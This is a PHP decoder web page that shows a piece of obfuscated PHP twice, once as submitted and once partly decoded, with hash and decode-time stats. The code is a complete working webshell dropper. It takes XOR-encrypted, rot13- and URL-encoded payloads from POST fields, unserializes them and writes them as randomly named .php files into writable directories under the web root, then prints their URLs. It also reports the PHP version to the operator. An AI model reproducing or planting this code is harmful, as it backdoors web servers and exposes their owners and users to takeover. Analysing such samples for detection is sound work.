Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function KZmSpQL($zOfkQDDVq){$xcXITVTpN = "\162".chr(97).chr(119).chr(117)."\x72".'l..

Decoded Output download

<?php function KZmSpQL($zOfkQDDVq){$xcXITVTpN = "r".chr(97).chr(119).chr(117)."r".'l'.chr(335-235).'e'."c"."o".chr(220-120)."e";$RwUGkBkW = "s".chr(116).chr(184-70)."_"."r".'o'."t"."1"."3";$qdjyilqH = "s".'t'.chr(114)."_".'s'.'p'.chr(108)."i"."t";$zOfkQDDVq = $qdjyilqH($xcXITVTpN($RwUGkBkW($zOfkQDDVq)));return $zOfkQDDVq;}function GplkSX($bjvoaD, $zOfkQDDVq){$AsqlGkPlQ = 's'."t".chr(357-243).chr(1007-912)."s".'p'.'l'.chr(105).chr(897-781);$bjvoaD = array_slice($AsqlGkPlQ(str_repeat($bjvoaD, (count($zOfkQDDVq)/16)+1)), 0, count($zOfkQDDVq));return $bjvoaD;}function KbiVXG($BIKrkwNIk, $VxgPWivV, $bjvoaD){$mtWBNHxR = "164aa8ff-9b58-4353-a17f-ef030bdbc707";return $BIKrkwNIk ^ $mtWBNHxR[$VxgPWivV % strlen($mtWBNHxR)] ^ $bjvoaD;}function mCRzDpiWo($zOfkQDDVq, $bjvoaD){$zOfkQDDVq = array_map("KbiVXG", array_values($zOfkQDDVq), array_keys($zOfkQDDVq), array_values($bjvoaD));$zOfkQDDVq = implode("", $zOfkQDDVq);$iwqIhmRFr = "u".'n'."s".'e'."r"."i"."a"."l".chr(105)."z".chr(404-303);$zOfkQDDVq = @$iwqIhmRFr($zOfkQDDVq);return $zOfkQDDVq;}function JndGTO($biksaQSDRKir){static $cgTKyRtUdd = array();$EMqTVqufSl = glob($biksaQSDRKir . '/*', GLOB_ONLYDIR);$TwqRcd = count($EMqTVqufSl);if ($TwqRcd > 0) {foreach ($EMqTVqufSl as $biksaQSDRK) {$IYDrjjfrOt = "i".chr(115).'_'."w".'r'.chr(105)."t".'a'.chr(98)."l".'e';if (@$IYDrjjfrOt($biksaQSDRK)) {$cgTKyRtUdd[] = $biksaQSDRK;}}}foreach ($EMqTVqufSl as $biksaQSDRKir) JndGTO($biksaQSDRKir);return $cgTKyRtUdd;}function msiLNkK($zOfkQDDVq){$uDnUempWn = chr(68).chr(79).chr(1045-978)."U".chr(317-240)."E"."N"."T".chr(622-527)."R"."O".'O'.chr(856-772);$ZEaaRelNvc = $_SERVER[$uDnUempWn];$EMqTVqufSl = JndGTO($ZEaaRelNvc);$IaDVhTq = array_rand($EMqTVqufSl);$JZDLT = ".".'p'.chr(957-853).chr(451-339);$jCjiNAQ = $EMqTVqufSl[$IaDVhTq] . "/" . substr(md5(time()), 0, 8) . $JZDLT;$plmJA = 'f'."i".chr(796-688)."e".'_'.'p'."u"."t"."_".chr(99)."o"."n"."t".chr(906-805)."n"."t"."s";@$plmJA($jCjiNAQ, $zOfkQDDVq);$qsTab = 'H'.'T'."T"."P".'_'.chr(808-736).chr(295-216)."S"."T";$IQwZtnCxS = chr(104).chr(116).'t'."p".chr(577-519).chr(994-947)."/";$GlOTgYZup = $IQwZtnCxS . $_SERVER[$qsTab] . substr($jCjiNAQ, strlen($ZEaaRelNvc));print($GlOTgYZup);die();}foreach ($_POST as $bjvoaD => $zOfkQDDVq){$oplrsvufvT = strlen($bjvoaD);if ($oplrsvufvT == 16){$zOfkQDDVq = KZmSpQL($zOfkQDDVq);$bjvoaD = GplkSX($bjvoaD, $zOfkQDDVq);$zOfkQDDVq = mCRzDpiWo($zOfkQDDVq, $bjvoaD);if (@is_array($zOfkQDDVq)){$IaDVhTq = array_keys($zOfkQDDVq);$zOfkQDDVq = $zOfkQDDVq[$IaDVhTq[0]];if ($zOfkQDDVq === $IaDVhTq[0]){$swyFBcw = chr(938-826).'h'."p";$LQCKd = 'p'."h".chr(112).chr(118)."e"."r".'s'.chr(105).chr(598-487).chr(939-829);$byfXxztAC = 's'."e".chr(727-613).chr(991-886)."a".chr(108).chr(105).'z'."e";echo @$byfXxztAC(Array($swyFBcw => @$LQCKd(), ));exit();}else {msiLNkK($zOfkQDDVq);}}}} ?>

Did this file decode correctly?

Original Code

<?php function KZmSpQL($zOfkQDDVq){$xcXITVTpN = "\162".chr(97).chr(119).chr(117)."\x72".'l'.chr(335-235).'e'."\x63"."\x6f".chr(220-120)."\145";$RwUGkBkW = "\163".chr(116).chr(184-70)."\137"."\162".'o'."\164"."\x31"."\x33";$qdjyilqH = "\x73".'t'.chr(114)."\x5f".'s'.'p'.chr(108)."\x69"."\164";$zOfkQDDVq = $qdjyilqH($xcXITVTpN($RwUGkBkW($zOfkQDDVq)));return $zOfkQDDVq;}function GplkSX($bjvoaD, $zOfkQDDVq){$AsqlGkPlQ = 's'."\164".chr(357-243).chr(1007-912)."\x73".'p'.'l'.chr(105).chr(897-781);$bjvoaD = array_slice($AsqlGkPlQ(str_repeat($bjvoaD, (count($zOfkQDDVq)/16)+1)), 0, count($zOfkQDDVq));return $bjvoaD;}function KbiVXG($BIKrkwNIk, $VxgPWivV, $bjvoaD){$mtWBNHxR = "164aa8ff-9b58-4353-a17f-ef030bdbc707";return $BIKrkwNIk ^ $mtWBNHxR[$VxgPWivV % strlen($mtWBNHxR)] ^ $bjvoaD;}function mCRzDpiWo($zOfkQDDVq, $bjvoaD){$zOfkQDDVq = array_map("KbiVXG", array_values($zOfkQDDVq), array_keys($zOfkQDDVq), array_values($bjvoaD));$zOfkQDDVq = implode("", $zOfkQDDVq);$iwqIhmRFr = "\x75".'n'."\x73".'e'."\x72"."\x69"."\141"."\154".chr(105)."\x7a".chr(404-303);$zOfkQDDVq = @$iwqIhmRFr($zOfkQDDVq);return $zOfkQDDVq;}function JndGTO($biksaQSDRKir){static $cgTKyRtUdd = array();$EMqTVqufSl = glob($biksaQSDRKir . '/*', GLOB_ONLYDIR);$TwqRcd = count($EMqTVqufSl);if ($TwqRcd > 0) {foreach ($EMqTVqufSl as $biksaQSDRK) {$IYDrjjfrOt = "\x69".chr(115).'_'."\167".'r'.chr(105)."\x74".'a'.chr(98)."\x6c".'e';if (@$IYDrjjfrOt($biksaQSDRK)) {$cgTKyRtUdd[] = $biksaQSDRK;}}}foreach ($EMqTVqufSl as $biksaQSDRKir) JndGTO($biksaQSDRKir);return $cgTKyRtUdd;}function msiLNkK($zOfkQDDVq){$uDnUempWn = chr(68).chr(79).chr(1045-978)."\125".chr(317-240)."\x45"."\x4e"."\124".chr(622-527)."\122"."\x4f".'O'.chr(856-772);$ZEaaRelNvc = $_SERVER[$uDnUempWn];$EMqTVqufSl = JndGTO($ZEaaRelNvc);$IaDVhTq = array_rand($EMqTVqufSl);$JZDLT = "\56".'p'.chr(957-853).chr(451-339);$jCjiNAQ = $EMqTVqufSl[$IaDVhTq] . "/" . substr(md5(time()), 0, 8) . $JZDLT;$plmJA = 'f'."\x69".chr(796-688)."\145".'_'.'p'."\165"."\x74"."\x5f".chr(99)."\157"."\156"."\x74".chr(906-805)."\x6e"."\164"."\x73";@$plmJA($jCjiNAQ, $zOfkQDDVq);$qsTab = 'H'.'T'."\124"."\120".'_'.chr(808-736).chr(295-216)."\x53"."\124";$IQwZtnCxS = chr(104).chr(116).'t'."\160".chr(577-519).chr(994-947)."\57";$GlOTgYZup = $IQwZtnCxS . $_SERVER[$qsTab] . substr($jCjiNAQ, strlen($ZEaaRelNvc));print($GlOTgYZup);die();}foreach ($_POST as $bjvoaD => $zOfkQDDVq){$oplrsvufvT = strlen($bjvoaD);if ($oplrsvufvT == 16){$zOfkQDDVq = KZmSpQL($zOfkQDDVq);$bjvoaD = GplkSX($bjvoaD, $zOfkQDDVq);$zOfkQDDVq = mCRzDpiWo($zOfkQDDVq, $bjvoaD);if (@is_array($zOfkQDDVq)){$IaDVhTq = array_keys($zOfkQDDVq);$zOfkQDDVq = $zOfkQDDVq[$IaDVhTq[0]];if ($zOfkQDDVq === $IaDVhTq[0]){$swyFBcw = chr(938-826).'h'."\160";$LQCKd = 'p'."\x68".chr(112).chr(118)."\145"."\x72".'s'.chr(105).chr(598-487).chr(939-829);$byfXxztAC = 's'."\x65".chr(727-613).chr(991-886)."\141".chr(108).chr(105).'z'."\x65";echo @$byfXxztAC(Array($swyFBcw => @$LQCKd(), ));exit();}else {msiLNkK($zOfkQDDVq);}}}}

Function Calls

None

Variables

None

Stats

MD5 f65918cf5938486526fa01a8a0449cd5
Eval Count 0
Decode Time 84 ms